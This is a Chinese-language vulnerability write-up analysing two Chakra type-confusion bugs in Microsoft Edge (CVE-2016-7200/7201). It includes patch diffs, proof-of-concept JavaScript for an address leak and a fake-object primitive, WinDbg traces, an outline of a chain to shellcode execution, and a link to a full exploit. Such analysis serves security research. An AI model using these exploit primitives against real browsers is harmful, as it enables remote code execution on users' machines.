Windows 10 x64 Edge CVE-2016-7200 & CVE-2016-7201漏洞分析及利用 发表于 2017-05-20 | 分类于 漏洞利用 | 2 条评论 # 1. 分析环境 操作系统:Windows 10 x64 专业版 10.0.14393 浏览器:Microsoft Edge x64 38.14393.0 # 2. CVE-2016-7200分析 这是发生在`JavascriptArray::FilterHelper`中,由于类型混淆所导致的漏洞,先看commit ``` template Var JavascriptArray::FilterHelper(JavascriptArray* pArr, RecyclableObject* obj, T length, Arguments& args, ScriptContext* scriptContext) { if (args.Info.Count < 2 || !JavascriptConversion::IsCallable(args[1])) { JavascriptError::ThrowTypeError(scriptContext, JSERR_FunctionArgument_NeedFunction, _u("Array.prototype.filter")); } RecyclableObject* callBackFn = RecyclableObject::FromVar(args[1]); Var thisArg = nullptr; if (args.Info.Count > 2) { thisArg = args[2]; } else { thisArg = scriptContext->GetLibrary()->GetUndefined(); } // If the source object is an Array exotic object we should try to load the constructor property and use it to construct the return object. - RecyclableObject* newObj = ArraySpeciesCreate(obj, 0, scriptContext); + bool isBuiltinArrayCtor = true; + RecyclableObject* newObj = ArraySpeciesCreate(obj, 0, scriptContext, nullptr, nullptr, &isBuiltinArrayCtor); JavascriptArray* newArr = nullptr; if (newObj == nullptr) { newArr = scriptContext->GetLibrary()->CreateArray(0); newArr->EnsureHead(); newObj = newArr; } else { // If the new object we created is an array, remember that as it will save us time setting properties in the object below if (JavascriptArray::Is(newObj)) { +#if ENABLE_COPYONACCESS_ARRAY + JavascriptLibrary::CheckAndConvertCopyOnAccessNativeIntArray(newObj); +#endif newArr = JavascriptArray::FromVar(newObj); } } Var element = nullptr; Var selected = nullptr; if (pArr) { Assert(length <= MaxArrayLength); uint32 i = 0; for (uint32 k = 0; k < length; k++) { if (!pArr->DirectGetItemAtFull(k, &element)) { continue; } selected = callBackFn->GetEntryPoint()(callBackFn, CallInfo(CallFlags_Value, 4), thisArg, element, JavascriptNumber::ToVar(k, scriptContext), pArr); if (JavascriptConversion::ToBoolean(selected, scriptContext)) { // Try to fast path if the return object is an array - if (newArr) + if (newArr && isBuiltinArrayCtor) { newArr->DirectSetItemAt(i, element); } ``` 再看下POC ``` var x = (new Array(56, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)).slice(); var [hi, lo] = PutDataAndGetAddr(x); function PutDataAndGetAddr(t) { var d = new Array(1,2,3); class dummy { constructor() { return d; } } class MyArray extends Array { static get [Symbol.species]() { return dummy; } } var a = new Array({}, t, "theori", 7, 7, 7, 7, 7); function test(i) { return true; } a.__proto__ = MyArray.prototype; var o = a.filter(test); var h = []; for (item in o) { var n = new Number(o[item]); if (n < 0) { n = n + 0x100000000; } h.push(n); } return [h[3], h[2]]; } ``` 上面`a.filter(test)`会调用到`JavascriptArray::FilterHelper`,`a.__proto__ = MyArray.prototype`使`RecyclableObject* newObj = ArraySpeciesCreate(obj, 0, scriptContext)`得到的`newObj`类型为`JavascriptNativeIntArray` ``` 0:013> p chakra!Js::JavascriptArray::FilterHelper+0xaa: 00007ffa`5c0ff9ea 4533e4 xor r12d,r12d 0:013> dq rax 0000020c`4e2e5500 00007ffa`5c4d38d8 0000020c`4e218f80 0000020c`4e2e5510 00000000`00000000 00000000`00000005 0000020c`4e2e5520 00000000`00000003 0000020c`4e2e5540 0000020c`4e2e5530 0000020c`4e2e5540 0000020c`4c37e080 0000020c`4e2e5540 00000003`00000000 00000000`00000006 0000020c`4e2e5550 00000000`00000000 00000002`00000001 0000020c`4e2e5560 80000002`00000003 80000002`80000002 0000020c`4e2e5570 00000000`00000000 00000000`00000000 0:013> ln 00007ffa`5c4d38d8 Browse module Set bu breakpoint (00007ffa`5c4d38d8) chakra!Js::JavascriptNativeIntArray::`vftable' | (00007ffa`5c4d3c28) chakra!Js::JavascriptArray::`vftable' Exact matches: chakra!Js::JavascriptNativeIntArray::`vftable' = ``` 可以看到新生成的数组类型为`JavascriptNativeIntArray`,从`0000020c4e2e5558`开始就是数组中的值,每个`element`的大小为`4`字节,再在`newArr->DirectSetItemAt(i, element)`时断下 ``` 0:013> g Breakpoint 1 hit chakra!Js::JavascriptArray::FilterHelper+0x1ab: 00007ffa`5c0ffaeb e8d0e40500 call chakra!Js::JavascriptArray::DirectSetItemInLastUsedSegmentAt (00007ffa`5c15dfc0) 0:013> r rax=0000020c4e2e5500 rbx=0000000000000000 rcx=0000020c4e2e5500 rdx=0000000000000000 rsi=0000000000000000 rdi=0000020c4e2e5500 rip=00007ffa5c0ffaeb rsp=000000bc89afb8b0 rbp=000000bc89afb921 r8=0000020c4e23abe0 r9=00007ffa5bf40000 r10=0000020c4e361d40 r11=0000000000000000 r12=0000000000000008 r13=0000020c4e242160 r14=0000020c4e25d180 r15=0000020c4aa2d160 iopl=0 nv up ei ng nz ac po cy cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000297 chakra!Js::JavascriptArray::FilterHelper+0x1ab: 00007ffa`5c0ffaeb e8d0e40500 call chakra!Js::JavascriptArray::DirectSetItemInLastUsedSegmentAt (00007ffa`5c15dfc0) 0:013> dq rcx 0000020c`4e2e5500 00007ffa`5c4d38d8 0000020c`4e218f80 0000020c`4e2e5510 00000000`00000000 00000000`00000005 0000020c`4e2e5520 00000000`00000003 0000020c`4e2e5540 0000020c`4e2e5530 0000020c`4e2e5540 0000020c`4c37e080 0000020c`4e2e5540 00000003`00000000 00000000`00000006 0000020c`4e2e5550 00000000`00000000 00000002`00000001 0000020c`4e2e5560 80000002`00000003 80000002`80000002 0000020c`4e2e5570 00000000`00000000 00000000`00000000 0:013> p chakra!Js::JavascriptArray::FilterHelper+0x1b0: 00007ffa`5c0ffaf0 ffc6 inc esi 0:013> dq 0000020c`4e2e5500 0000020c`4e2e5500 00007ffa`5c4d38d8 0000020c`4e218f80 0000020c`4e2e5510 00000000`00000000 00000000`00000005 0000020c`4e2e5520 00000000`00000003 0000020c`4e2e5540 0000020c`4e2e5530 0000020c`4e2e5540 0000020c`4c37e080 0000020c`4e2e5540 00000003`00000000 00000000`00000006 0000020c`4e2e5550 00000000`00000000 0000020c`4e23abe0 0000020c`4e2e5560 80000002`00000003 80000002`80000002 0000020c`4e2e5570 00000000`00000000 00000000`00000000 ``` 给索引为`0`的位置赋值了一个对象的地址,再进行一次赋值 ``` 0:013> g Breakpoint 1 hit chakra!Js::JavascriptArray::FilterHelper+0x1ab: 00007ffa`5c0ffaeb e8d0e40500 call chakra!Js::JavascriptArray::DirectSetItemInLastUsedSegmentAt (00007ffa`5c15dfc0) 0:013> dq rcx 0000020c`4e2e5500 00007ffa`5c4d38d8 0000020c`4e218f80 0000020c`4e2e5510 00000000`00000000 00000000`00000005 0000020c`4e2e5520 00000000`00000003 0000020c`4e2e5540 0000020c`4e2e5530 0000020c`4e2e5540 0000020c`4c37e080 0000020c`4e2e5540 00000003`00000000 00000000`00000006 0000020c`4e2e5550 00000000`00000000 0000020c`4e23abe0 0000020c`4e2e5560 80000002`00000003 80000002`80000002 0000020c`4e2e5570 00000000`00000000 00000000`00000000 0:013> r rax=0000020c4e2e5500 rbx=0000000000000001 rcx=0000020c4e2e5500 rdx=0000000000000001 rsi=0000000000000001 rdi=0000020c4e2e5500 rip=00007ffa5c0ffaeb rsp=000000bc89afb8b0 rbp=000000bc89afb921 r8=0000020c4e254460 r9=00007ffa5bf40000 r10=0000020c4e361d40 r11=0000000000000000 r12=0000000000000008 r13=0000020c4e242160 r14=0000020c4e25d180 r15=0000020c4aa2d160 iopl=0 nv up ei ng nz ac pe cy cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000293 chakra!Js::JavascriptArray::FilterHelper+0x1ab: 00007ffa`5c0ffaeb e8d0e40500 call chakra!Js::JavascriptArray::DirectSetItemInLastUsedSegmentAt (00007ffa`5c15dfc0) 0:013> dq r8 0000020c`4e254460 00007ffa`5c4d38d8 0000020c`4e218f80 0000020c`4e254470 00000000`00000000 00000000`00000005 0000020c`4e254480 00000000`00000010 0000020c`4e2544a0 0000020c`4e254490 0000020c`4e2544a0 0000020c`4c37d920 0000020c`4e2544a0 00000010`00000000 00000000`00000012 0000020c`4e2544b0 00000000`00000000 00000000`00000038 0000020c`4e2544c0 00000000`00000000 00000000`00000000 0000020c`4e2544d0 00000000`00000000 00000000`00000000 0:013> p chakra!Js::JavascriptArray::FilterHelper+0x1b0: 00007ffa`5c0ffaf0 ffc6 inc esi 0:013> dq 0000020c`4e2e5500 0000020c`4e2e5500 00007ffa`5c4d38d8 0000020c`4e218f80 0000020c`4e2e5510 00000000`00000000 00000000`00000005 0000020c`4e2e5520 00000000`00000003 0000020c`4e2e5540 0000020c`4e2e5530 0000020c`4e2e5540 0000020c`4c37e080 0000020c`4e2e5540 00000003`00000000 00000000`00000006 0000020c`4e2e5550 00000000`00000000 0000020c`4e23abe0 0000020c`4e2e5560 0000020c`4e254460 80000002`80000002 0000020c`4e2e5570 00000000`00000000 00000000`00000000 ``` 这时给索引为`1`的位置赋值了指定对象的地址,特别要注意的是这里把`JavascriptNativeIntArray`混淆成了`JavascriptArray`,而`JavascriptArray`的每个`element`大小为`8`字节,而`JavascriptNativeIntArray`的每个`element`大小为`4`字节,因此最后通过`return [h[3], h[2]]`泄漏出指定对象的地址。 # 3. CVE-2016-7201分析 这也是由于类型混淆导致的漏洞,发生在`JavascriptArray::FillFromPrototypes`调用`JavascriptArray::ForEachOwnMissingArrayIndexOfObject`时 ``` void JavascriptArray::FillFromPrototypes(uint32 startIndex, uint32 limitIndex) { if (startIndex >= limitIndex) { return; } RecyclableObject* prototype = this->GetPrototype(); // Fill all missing values by walking through prototype while (JavascriptOperators::GetTypeId(prototype) != TypeIds_Null) { ForEachOwnMissingArrayIndexOfObject(this, nullptr, prototype, startIndex, limitIndex,0, [this](uint32 index, Var value) { this->SetItem(index, value, PropertyOperation_None); }); prototype = prototype->GetPrototype(); } } ``` 再看下`Javascript::ForEachOwnMissingArrayIndexOfObject`中的代码片段 ``` template void JavascriptArray::ForEachOwnMissingArrayIndexOfObject(JavascriptArray *baseArray, JavascriptArray *destArray, RecyclableObject* obj, uint32 startIndex, uint32 limitIndex, uint32 destIndex, Fn fn) { ... if (DynamicObject::IsAnyArray(obj)) { arr = JavascriptArray::FromAnyArray(obj); } ... if (JavascriptArray::Is(arr)) { ArrayElementEnumerator e(arr, startIndex, limitIndex); while(e.MoveNext()) { uint32 index = e.GetIndex(); if (!baseArray->DirectGetVarItemAt(index, &oldValue, baseArray->GetScriptContext())) { uint32 n = destIndex + (index - startIndex); if (destArray == nullptr || !destArray->DirectGetItemAt(n, &oldValue)) { JS_REENTRANT(jsReentLock, fn(index, e.GetItem())); } } } } ... } ``` 下面是POC ``` var [hi, lo] = PutDataAndGetAddr(x); [hi, lo] = [hi|0, (lo + 0x58)|0]; // offset (0x58) to the array data slots TriggerFillFromPrototypesBug(lo, hi); function TriggerFillFromPrototypesBug(lo, hi) { // Type* (which has TypeId) x[2] = lo; x[3] = hi; // +0x3C points to 0 (index 1) for bypassing isDetached check x[10] = (lo - 0x38)|0; x[11] = hi; // buffer length x[8] = 0x200; // buffer addr x[14] = (lo - 0x58)|0; x[15] = hi; var a = new Array(0x11111111, 0, 0x22222222, 0, 0x33333333, 0, lo, hi, 0x55555555, 0); var handler = { getPrototypeOf: function(target, name) { return a; } }; var p = new Proxy([], handler); var b = [{}, [], "abc"]; b.__proto__ = p; b.length = 4; a.shift.call(b); dv = b[2]; } ``` 调用`a.shift.call(b)`时会调用`JavascriptArray::FillFromPrototypes`,这里使用了代理对象`var p = new Proxy([], handler);b.__proto__ = p;`,由于`prototype = prototype->GetPrototype()`使`ArrayElementEnumerator e(arr, startIndex, limitIndex)`时得到一个`JavascriptNativeIntArray`类型的迭代器 ``` 0:013> g Breakpoint 2 hit chakra!Js::JavascriptArray::FillFromPrototypes+0x151: 00007ffa`5c15c901 e84ae9ffff call chakra!Js::JavascriptArray::ArrayElementEnumerator::ArrayElementEnumerator (00007ffa`5c15b250) 0:013> dq rdx 000001da`6a2eed00 00007ffa`5c4d38d8 000001da`6a707040 000001da`6a2eed10 00000000`00000000 00000000`00000005 000001da`6a2eed20 00000000`0000000a 000001da`6a2eed40 000001da`6a2eed30 000001da`6a2eed40 000001da`6a26dc20 000001da`6a2eed40 0000000a`00000000 00000000`0000000a 000001da`6a2eed50 00000000`00000000 00000000`11111111 000001da`6a2eed60 00000000`22222222 00000000`33333333 000001da`6a2eed70 000001da`6a2e7b18 00000000`55555555 0:013> ln 00007ffa`5c4d38d8 Browse module Set bu breakpoint (00007ffa`5c4d38d8) chakra!Js::JavascriptNativeIntArray::`vftable' | (00007ffa`5c4d3c28) chakra!Js::JavascriptArray::`vftable' Exact matches: chakra!Js::JavascriptNativeIntArray::`vftable' = ``` 但是取元素`e.GetItem()`时却认为此数组是`Var Array`类型,在之后`this->SetItem(index, value, PropertyOperation_None)`赋值时也认为此数组是`Var Array`类型 ``` 0:013> g Breakpoint 3 hit chakra!Js::MissingPropertyTypeHandler::IsObjTypeSpecEquivalent+0x8d971: 00007ffa`5c2460e1 ff1591ca2d00 call qword ptr [chakra!_guard_dispatch_icall_fptr (00007ffa`5c522b78)] ds:00007ffa`5c522b78={ntdll!LdrpDispatchUserCallTarget (00007ffa`7cf55260)} 0:013> dq rcx 000001da`6a71a990 00007ffa`5c4d3c28 000001da`6a74e980 000001da`6a71a9a0 00000000`00000000 00000000`00020005 000001da`6a71a9b0 00000000`00000004 000001da`6a2e7700 000001da`6a71a9c0 000001da`6a2e7700 00000000`00000000 000001da`6a71a9d0 00000003`00000000 00000000`00000006 000001da`6a71a9e0 00000000`00000000 00000000`00000000 000001da`6a71a9f0 80000002`00000000 80000002`80000002 000001da`6a71aa00 00007ffa`5c4d38d8 000001da`6a707040 0:013> dq 000001da`6a2e7700 000001da`6a2e7700 00000003`00000000 00000000`00000011 000001da`6a2e7710 00000000`00000000 000001da`6a2c9320 000001da`6a2e7720 000001da`6a71aa00 000001da`6a2c9820 000001da`6a2e7730 80000002`80000002 80000002`80000002 000001da`6a2e7740 80000002`80000002 80000002`80000002 000001da`6a2e7750 80000002`80000002 80000002`80000002 000001da`6a2e7760 80000002`80000002 80000002`80000002 000001da`6a2e7770 80000002`80000002 80000002`80000002 0:013> r rax=00007ffa5c15e670 rbx=000001da6a2eed00 rcx=000001da6a71a990 rdx=0000000000000003 rsi=0000000000000000 rdi=000001da6a2eed40 rip=00007ffa5c2460e1 rsp=0000003cc3ffb270 rbp=0000000000000004 r8=000001da6a2e7b18 r9=0000000000000000 r10=00000fff4b84afee r11=0010400000000000 r12=000001da6a71a990 r13=fffc000000000000 r14=0000000000000003 r15=0000000000000003 iopl=0 nv up ei pl zr na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 chakra!Js::MissingPropertyTypeHandler::IsObjTypeSpecEquivalent+0x8d971: 00007ffa`5c2460e1 ff1591ca2d00 call qword ptr [chakra!_guard_dispatch_icall_fptr (00007ffa`5c522b78)] ds:00007ffa`5c522b78={ntdll!LdrpDispatchUserCallTarget (00007ffa`7cf55260)} 0:013> dq 1da6a2e7b18 000001da`6a2e7b18 00000000`00000038 000001da`6a2e7b18 000001da`6a2e7b28 00000000`00000000 00000000`00000000 000001da`6a2e7b38 00000000`00000200 000001da`6a2e7ae0 000001da`6a2e7b48 00000000`00000000 000001da`6a2e7ac0 000001da`6a2e7b58 80000002`80000002 00007ffa`5c4d38d8 000001da`6a2e7b68 000001da`6a707040 00000000`00000000 000001da`6a2e7b78 00000000`00000005 00000000`00000010 000001da`6a2e7b88 000001da`6a2e7ba0 000001da`6a2e7ba0 0:013> p chakra!Js::MissingPropertyTypeHandler::IsObjTypeSpecEquivalent+0x8d977: 00007ffa`5c2460e7 90 nop 0:013> dq 000001da`6a2e7700 000001da`6a2e7700 00000004`00000000 00000000`00000011 000001da`6a2e7710 00000000`00000000 000001da`6a2c9320 000001da`6a2e7720 000001da`6a71aa00 000001da`6a2c9820 000001da`6a2e7730 000001da`6a2e7b18 80000002`80000002 000001da`6a2e7740 80000002`80000002 80000002`80000002 000001da`6a2e7750 80000002`80000002 80000002`80000002 000001da`6a2e7760 80000002`80000002 80000002`80000002 000001da`6a2e7770 80000002`80000002 80000002`80000002 ``` 这里可以看到给索引为`3`的位置赋值了伪造对象的地址,在`shift`操作后 ``` 0:013> dq 000001da`6a71a990 000001da`6a71a990 00007ffa`5c4d3c28 000001da`6a74e980 000001da`6a71a9a0 00000000`00000000 00000000`00020005 000001da`6a71a9b0 00000000`00000003 000001da`6a2e7700 000001da`6a71a9c0 000001da`6a2e7700 00000000`00000000 000001da`6a71a9d0 00000003`00000000 00000000`00000006 000001da`6a71a9e0 00000000`00000000 00000000`00000000 000001da`6a71a9f0 80000002`00000000 80000002`80000002 000001da`6a71aa00 00007ffa`5c4d38d8 000001da`6a707040 0:013> dq 000001da`6a2e7700 000001da`6a2e7700 00000003`00000000 00000000`00000011 000001da`6a2e7710 00000000`00000000 000001da`6a71aa00 000001da`6a2e7720 000001da`6a2c9820 000001da`6a2e7b18 000001da`6a2e7730 80000002`80000002 80000002`80000002 000001da`6a2e7740 80000002`80000002 80000002`80000002 000001da`6a2e7750 80000002`80000002 80000002`80000002 000001da`6a2e7760 80000002`80000002 80000002`80000002 000001da`6a2e7770 80000002`80000002 80000002`80000002 ``` 因此`dv = b[2]`就得到了伪造的任意地址的对象。 # 4. 漏洞利用 思路很简单,利用`CVE-2016-7200`泄漏指定对象的地址,再利用`CVE-2016-7201`伪造一个`DataView`类型的对象来实现任意地址的读和写,然后通过覆盖返回地址来绕过`CFG`进行`ROP`,调用`VirtualProtect`给`shellcode`空间增加可执行权限,最后返回到`shellcode`执行。 ![image.png-757.8kB][1] 利用`DataView`实现任意地址的读写,可以参考`exp-sky`大牛的一篇演讲 ![image.png-117.2kB][2] ![image.png-123.1kB][3] ![image.png-125.1kB][4] ![image.png-128.1kB][5] 完整EXP:[https://github.com/birdg0/exp/blob/master/browser/edge-x64-cve-2016-7200%267201-exp.html][6] # 5. 参考 1. [https://github.com/theori-io/chakra-2016-11][7] 2. [http://blogs.360.cn/360safe/2016/11/29/three-roads-lead-to-rome/][8] 3. [http://blog.csdn.net/tgxallen/article/details/54600112][9] 4. [https://github.com/exp-sky/HitCon-2016-Windows-10-x64-edge-0day-and-exploit][10] [1]: http://static.zybuluo.com/birdg0/haib5omc15521goiqigcpfd2/image.png [2]: http://static.zybuluo.com/birdg0/bjqail80i6zagnd9ckvpntd7/image.png [3]: http://static.zybuluo.com/birdg0/ddc5xut1c40988tfexjosy3q/image.png [4]: http://static.zybuluo.com/birdg0/gt38jwgy4keiv9bd3dmxxnue/image.png [5]: http://static.zybuluo.com/birdg0/lcza0hqrnz50rgvzohkti7oj/image.png [6]: https://github.com/birdg0/exp/blob/master/browser/edge-x64-cve-2016-7200&7201-exp.html [7]: https://github.com/theori-io/chakra-2016-11 [8]: http://blogs.360.cn/360safe/2016/11/29/three-roads-lead-to-rome/ [9]: http://blog.csdn.net/tgxallen/article/details/54600112 [10]: https://github.com/exp-sky/HitCon-2016-Windows-10-x64-edge-0day-and-exploit
大佬有联系方式么
bird@repwn.com